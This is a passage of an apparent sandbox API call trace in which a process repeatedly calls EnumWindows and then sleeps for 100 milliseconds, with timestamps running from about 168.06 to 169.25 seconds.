EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.059] Sleep (dwMilliseconds=0x64) [0168.060] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.061] Sleep (dwMilliseconds=0x64) [0168.062] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.062] Sleep (dwMilliseconds=0x64) [0168.063] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.063] Sleep (dwMilliseconds=0x64) [0168.065] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.065] Sleep (dwMilliseconds=0x64) [0168.066] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.066] Sleep (dwMilliseconds=0x64) [0168.068] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.068] Sleep (dwMilliseconds=0x64) [0168.070] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.070] Sleep (dwMilliseconds=0x64) [0168.071] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.072] Sleep (dwMilliseconds=0x64) [0168.073] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.073] Sleep (dwMilliseconds=0x64) [0168.075] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.075] Sleep (dwMilliseconds=0x64) [0168.076] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.077] Sleep (dwMilliseconds=0x64) [0168.078] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.078] Sleep (dwMilliseconds=0x64) [0168.080] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.080] Sleep (dwMilliseconds=0x64) [0168.082] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.082] Sleep (dwMilliseconds=0x64) [0168.083] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.084] Sleep (dwMilliseconds=0x64) [0168.087] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.088] Sleep (dwMilliseconds=0x64) [0168.089] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.089] Sleep (dwMilliseconds=0x64) [0168.091] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.091] Sleep (dwMilliseconds=0x64) [0168.092] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.093] Sleep (dwMilliseconds=0x64) [0168.094] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.094] Sleep (dwMilliseconds=0x64) [0168.096] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.096] Sleep (dwMilliseconds=0x64) [0168.097] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.098] Sleep (dwMilliseconds=0x64) [0168.099] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.099] Sleep (dwMilliseconds=0x64) [0168.101] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.101] Sleep (dwMilliseconds=0x64) [0168.102] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.103] Sleep (dwMilliseconds=0x64) [0168.104] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.104] Sleep (dwMilliseconds=0x64) [0168.106] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.106] Sleep (dwMilliseconds=0x64) [0168.107] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.107] Sleep (dwMilliseconds=0x64) [0168.109] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.109] Sleep (dwMilliseconds=0x64) [0168.130] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.130] Sleep (dwMilliseconds=0x64) [0168.132] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.132] Sleep (dwMilliseconds=0x64) [0168.134] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.134] Sleep (dwMilliseconds=0x64) [0168.136] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.136] Sleep (dwMilliseconds=0x64) [0168.137] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.137] Sleep (dwMilliseconds=0x64) [0168.139] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.139] Sleep (dwMilliseconds=0x64) [0168.141] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.141] Sleep (dwMilliseconds=0x64) [0168.143] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.143] Sleep (dwMilliseconds=0x64) [0168.145] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.145] Sleep (dwMilliseconds=0x64) [0168.146] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.146] Sleep (dwMilliseconds=0x64) [0168.148] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.148] Sleep (dwMilliseconds=0x64) [0168.149] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.149] Sleep (dwMilliseconds=0x64) [0168.151] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.151] Sleep (dwMilliseconds=0x64) [0168.152] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.152] Sleep (dwMilliseconds=0x64) [0168.154] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.154] Sleep (dwMilliseconds=0x64) [0168.156] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.156] Sleep (dwMilliseconds=0x64) [0168.157] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.157] Sleep (dwMilliseconds=0x64) [0168.159] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.159] Sleep (dwMilliseconds=0x64) [0168.160] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.160] Sleep (dwMilliseconds=0x64) [0168.162] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.162] Sleep (dwMilliseconds=0x64) [0168.166] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.166] Sleep (dwMilliseconds=0x64) [0168.168] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.168] Sleep (dwMilliseconds=0x64) [0168.170] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.170] Sleep (dwMilliseconds=0x64) [0168.172] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.172] Sleep (dwMilliseconds=0x64) [0168.174] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.174] Sleep (dwMilliseconds=0x64) [0168.176] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.176] Sleep (dwMilliseconds=0x64) [0168.177] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.177] Sleep (dwMilliseconds=0x64) [0168.179] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.179] Sleep (dwMilliseconds=0x64) [0168.181] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.181] Sleep (dwMilliseconds=0x64) [0168.182] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.182] Sleep (dwMilliseconds=0x64) [0168.184] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.184] Sleep (dwMilliseconds=0x64) [0168.185] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.185] Sleep (dwMilliseconds=0x64) [0168.188] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.188] Sleep (dwMilliseconds=0x64) [0168.189] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.190] Sleep (dwMilliseconds=0x64) [0168.191] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.191] Sleep (dwMilliseconds=0x64) [0168.192] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.193] Sleep (dwMilliseconds=0x64) [0168.194] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.194] Sleep (dwMilliseconds=0x64) [0168.195] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.195] Sleep (dwMilliseconds=0x64) [0168.197] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.197] Sleep (dwMilliseconds=0x64) [0168.199] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.199] Sleep (dwMilliseconds=0x64) [0168.200] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.201] Sleep (dwMilliseconds=0x64) [0168.203] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.203] Sleep (dwMilliseconds=0x64) [0168.206] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.207] Sleep (dwMilliseconds=0x64) [0168.208] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.208] Sleep (dwMilliseconds=0x64) [0168.209] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.210] Sleep (dwMilliseconds=0x64) [0168.211] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.211] Sleep (dwMilliseconds=0x64) [0168.212] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.213] Sleep (dwMilliseconds=0x64) [0168.214] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.214] Sleep (dwMilliseconds=0x64) [0168.215] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.216] Sleep (dwMilliseconds=0x64) [0168.217] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.217] Sleep (dwMilliseconds=0x64) [0168.218] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.219] Sleep (dwMilliseconds=0x64) [0168.220] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.220] Sleep (dwMilliseconds=0x64) [0168.221] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.222] Sleep (dwMilliseconds=0x64) [0168.223] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.223] Sleep (dwMilliseconds=0x64) [0168.225] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.225] Sleep (dwMilliseconds=0x64) [0168.226] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.227] Sleep (dwMilliseconds=0x64) [0168.228] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.228] Sleep (dwMilliseconds=0x64) [0168.229] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.230] Sleep (dwMilliseconds=0x64) [0168.231] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.231] Sleep (dwMilliseconds=0x64) [0168.232] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.233] Sleep (dwMilliseconds=0x64) [0168.234] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.234] Sleep (dwMilliseconds=0x64) [0168.235] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.236] Sleep (dwMilliseconds=0x64) [0168.237] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.237] Sleep (dwMilliseconds=0x64) [0168.238] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.239] Sleep (dwMilliseconds=0x64) [0168.240] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.240] Sleep (dwMilliseconds=0x64) [0168.241] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.242] Sleep (dwMilliseconds=0x64) [0168.243] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.243] Sleep (dwMilliseconds=0x64) [0168.244] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.245] Sleep (dwMilliseconds=0x64) [0168.248] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.248] Sleep (dwMilliseconds=0x64) [0168.250] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.250] Sleep (dwMilliseconds=0x64) [0168.251] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.252] Sleep (dwMilliseconds=0x64) [0168.253] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.253] Sleep (dwMilliseconds=0x64) [0168.254] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.255] Sleep (dwMilliseconds=0x64) [0168.256] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.256] Sleep (dwMilliseconds=0x64) [0168.258] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.258] Sleep (dwMilliseconds=0x64) [0168.260] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.260] Sleep (dwMilliseconds=0x64) [0168.262] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.262] Sleep (dwMilliseconds=0x64) [0168.263] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.264] Sleep (dwMilliseconds=0x64) [0168.265] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.265] Sleep (dwMilliseconds=0x64) [0168.266] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.267] Sleep (dwMilliseconds=0x64) [0168.268] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.268] Sleep (dwMilliseconds=0x64) [0168.269] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.270] Sleep (dwMilliseconds=0x64) [0168.271] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.272] Sleep (dwMilliseconds=0x64) [0168.273] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.274] Sleep (dwMilliseconds=0x64) [0168.275] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.275] Sleep (dwMilliseconds=0x64) [0168.286] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.286] Sleep (dwMilliseconds=0x64) [0168.295] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.295] Sleep (dwMilliseconds=0x64) [0168.296] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.297] Sleep (dwMilliseconds=0x64) [0168.298] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.298] Sleep (dwMilliseconds=0x64) [0168.299] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.300] Sleep (dwMilliseconds=0x64) [0168.301] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.301] Sleep (dwMilliseconds=0x64) [0168.302] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.303] Sleep (dwMilliseconds=0x64) [0168.304] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.304] Sleep (dwMilliseconds=0x64) [0168.305] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.306] Sleep (dwMilliseconds=0x64) [0168.307] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.307] Sleep (dwMilliseconds=0x64) [0168.308] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.309] Sleep (dwMilliseconds=0x64) [0168.310] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.310] Sleep (dwMilliseconds=0x64) [0168.311] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.312] Sleep (dwMilliseconds=0x64) [0168.313] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.313] Sleep (dwMilliseconds=0x64) [0168.314] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.315] Sleep (dwMilliseconds=0x64) [0168.316] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.316] Sleep (dwMilliseconds=0x64) [0168.317] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.318] Sleep (dwMilliseconds=0x64) [0168.319] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.319] Sleep (dwMilliseconds=0x64) [0168.320] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.320] Sleep (dwMilliseconds=0x64) [0168.322] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.322] Sleep (dwMilliseconds=0x64) [0168.324] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.324] Sleep (dwMilliseconds=0x64) [0168.326] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.326] Sleep (dwMilliseconds=0x64) [0168.327] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.328] Sleep (dwMilliseconds=0x64) [0168.347] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.347] Sleep (dwMilliseconds=0x64) [0168.349] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.349] Sleep (dwMilliseconds=0x64) [0168.351] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.352] Sleep (dwMilliseconds=0x64) [0168.357] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.358] Sleep (dwMilliseconds=0x64) [0168.359] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.360] Sleep (dwMilliseconds=0x64) [0168.361] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.362] Sleep (dwMilliseconds=0x64) [0168.363] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.363] Sleep (dwMilliseconds=0x64) [0168.365] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.365] Sleep (dwMilliseconds=0x64) [0168.367] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.367] Sleep (dwMilliseconds=0x64) [0168.368] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.368] Sleep (dwMilliseconds=0x64) [0168.370] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.370] Sleep (dwMilliseconds=0x64) [0168.372] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.372] Sleep (dwMilliseconds=0x64) [0168.373] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.373] Sleep (dwMilliseconds=0x64) [0168.452] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.454] Sleep (dwMilliseconds=0x64) [0168.532] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.533] Sleep (dwMilliseconds=0x64) [0168.535] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.535] Sleep (dwMilliseconds=0x64) [0168.537] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.537] Sleep (dwMilliseconds=0x64) [0168.538] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.538] Sleep (dwMilliseconds=0x64) [0168.540] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.540] Sleep (dwMilliseconds=0x64) [0168.542] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.542] Sleep (dwMilliseconds=0x64) [0168.544] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.544] Sleep (dwMilliseconds=0x64) [0168.546] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.546] Sleep (dwMilliseconds=0x64) [0168.548] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.548] Sleep (dwMilliseconds=0x64) [0168.550] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.551] Sleep (dwMilliseconds=0x64) [0168.553] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.553] Sleep (dwMilliseconds=0x64) [0168.554] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.554] Sleep (dwMilliseconds=0x64) [0168.556] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.556] Sleep (dwMilliseconds=0x64) [0168.557] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.558] Sleep (dwMilliseconds=0x64) [0168.560] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.560] Sleep (dwMilliseconds=0x64) [0168.561] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.562] Sleep (dwMilliseconds=0x64) [0168.564] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.564] Sleep (dwMilliseconds=0x64) [0168.565] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.565] Sleep (dwMilliseconds=0x64) [0168.567] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.568] Sleep (dwMilliseconds=0x64) [0168.570] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.570] Sleep (dwMilliseconds=0x64) [0168.572] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.573] Sleep (dwMilliseconds=0x64) [0168.574] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.574] Sleep (dwMilliseconds=0x64) [0168.576] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.576] Sleep (dwMilliseconds=0x64) [0168.578] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.578] Sleep (dwMilliseconds=0x64) [0168.580] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.580] Sleep (dwMilliseconds=0x64) [0168.582] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.582] Sleep (dwMilliseconds=0x64) [0168.587] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.587] Sleep (dwMilliseconds=0x64) [0168.593] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.593] Sleep (dwMilliseconds=0x64) [0168.595] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.595] Sleep (dwMilliseconds=0x64) [0168.597] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.598] Sleep (dwMilliseconds=0x64) [0168.600] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.601] Sleep (dwMilliseconds=0x64) [0168.603] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.603] Sleep (dwMilliseconds=0x64) [0168.604] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.604] Sleep (dwMilliseconds=0x64) [0168.606] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.606] Sleep (dwMilliseconds=0x64) [0168.608] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.609] Sleep (dwMilliseconds=0x64) [0168.611] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.611] Sleep (dwMilliseconds=0x64) [0168.612] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.612] Sleep (dwMilliseconds=0x64) [0168.614] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.614] Sleep (dwMilliseconds=0x64) [0168.615] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.615] Sleep (dwMilliseconds=0x64) [0168.617] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.617] Sleep (dwMilliseconds=0x64) [0168.618] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.618] Sleep (dwMilliseconds=0x64) [0168.620] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.620] Sleep (dwMilliseconds=0x64) [0168.621] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.621] Sleep (dwMilliseconds=0x64) [0168.623] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.623] Sleep (dwMilliseconds=0x64) [0168.624] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.624] Sleep (dwMilliseconds=0x64) [0168.626] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.626] Sleep (dwMilliseconds=0x64) [0168.628] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.628] Sleep (dwMilliseconds=0x64) [0168.630] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.630] Sleep (dwMilliseconds=0x64) [0168.631] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.631] Sleep (dwMilliseconds=0x64) [0168.660] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.661] Sleep (dwMilliseconds=0x64) [0168.779] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.779] Sleep (dwMilliseconds=0x64) [0168.836] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.836] Sleep (dwMilliseconds=0x64) [0168.872] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.873] Sleep (dwMilliseconds=0x64) [0168.874] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.875] Sleep (dwMilliseconds=0x64) [0168.876] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.876] Sleep (dwMilliseconds=0x64) [0168.878] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.878] Sleep (dwMilliseconds=0x64) [0168.879] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.879] Sleep (dwMilliseconds=0x64) [0168.881] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.881] Sleep (dwMilliseconds=0x64) [0168.883] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.883] Sleep (dwMilliseconds=0x64) [0168.886] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.886] Sleep (dwMilliseconds=0x64) [0168.898] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.898] Sleep (dwMilliseconds=0x64) [0168.910] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.910] Sleep (dwMilliseconds=0x64) [0168.912] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.912] Sleep (dwMilliseconds=0x64) [0168.913] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.914] Sleep (dwMilliseconds=0x64) [0168.915] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.915] Sleep (dwMilliseconds=0x64) [0168.916] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.916] Sleep (dwMilliseconds=0x64) [0168.918] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.918] Sleep (dwMilliseconds=0x64) [0168.920] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.921] Sleep (dwMilliseconds=0x64) [0168.923] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.923] Sleep (dwMilliseconds=0x64) [0168.934] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.934] Sleep (dwMilliseconds=0x64) [0168.936] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.936] Sleep (dwMilliseconds=0x64) [0168.985] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.985] Sleep (dwMilliseconds=0x64) [0168.987] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.987] Sleep (dwMilliseconds=0x64) [0168.990] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0168.991] Sleep (dwMilliseconds=0x64) [0169.088] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0169.088] Sleep (dwMilliseconds=0x64) [0169.197] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0169.197] Sleep (dwMilliseconds=0x64) [0169.221] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0169.221] Sleep (dwMilliseconds=0x64) [0169.222] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0169.222] Sleep (dwMilliseconds=0x64) [0169.224] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0169.224] Sleep (dwMilliseconds=0x64) [0169.227] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0169.227] Sleep (dwMilliseconds=0x64) [0169.229] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0169.229] Sleep (dwMilliseconds=0x64) [0169.232] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0169.232] Sleep (dwMilliseconds=0x64) [0169.233] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0169.233] Sleep (dwMilliseconds=0x64) [0169.235] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0169.235] Sleep (dwMilliseconds=0x64) [0169.237] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0169.237] Sleep (dwMilliseconds=0x64) [0169.239] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0169.239] Sleep (dwMilliseconds=0x64) [0169.240] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0169.240] Sleep (dwMilliseconds=0x64) [0169.242] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0169.242] Sleep (dwMilliseconds=0x64) [0169.244] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0169.244] Sleep (dwMilliseconds=0x64) [0169.245] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0169.245] Sleep (dwMilliseconds=0x64) 